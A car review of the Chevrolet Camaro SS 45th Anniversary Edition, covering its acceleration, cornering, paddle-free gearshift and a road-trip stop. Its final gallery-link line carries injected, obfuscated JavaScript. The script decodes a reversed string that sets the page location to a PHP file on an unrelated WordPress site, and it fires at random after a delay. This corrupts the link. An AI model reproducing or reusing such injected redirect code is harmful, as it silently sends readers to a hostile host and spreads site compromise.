Chevrolet Camaro SS. 45th Anniversary Edition. Celebrating In Style

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Once we’re into the meat of the winding roads, I nail the throttle and watch the revs leap as we power towards 120(ish)kph. Steering can become light when we really get going as that muscle car weight makes its presence felt, but stiffer suspension means I can throw the 45 further and harder into corners than I would perhaps dare with a normal Camaro.

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I wait a beat and get the power down out of the corner, confident the back will not snap round and throw me into the landscape. Gearshift paddles have sadly been replaced with buttons in the Camaro though, offering an out of character element of delicacy to the brute.

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Since the smoking ruins of Motown aren’t available, we find the nearest available watering hole – complete with broken glass, graffiti and the occasional burn out mark – to pull over and stretch our legs before the blast back down.

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GM have clearly worked hard to inject some precision into the Camaro lunacy, but there’s no getting past the 45’s roots. After all, surely that’s the whole point.

Check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/chevrolet-camarro-ss-45th-anniversary-edition/” target=”_blank”>our full gallery HERE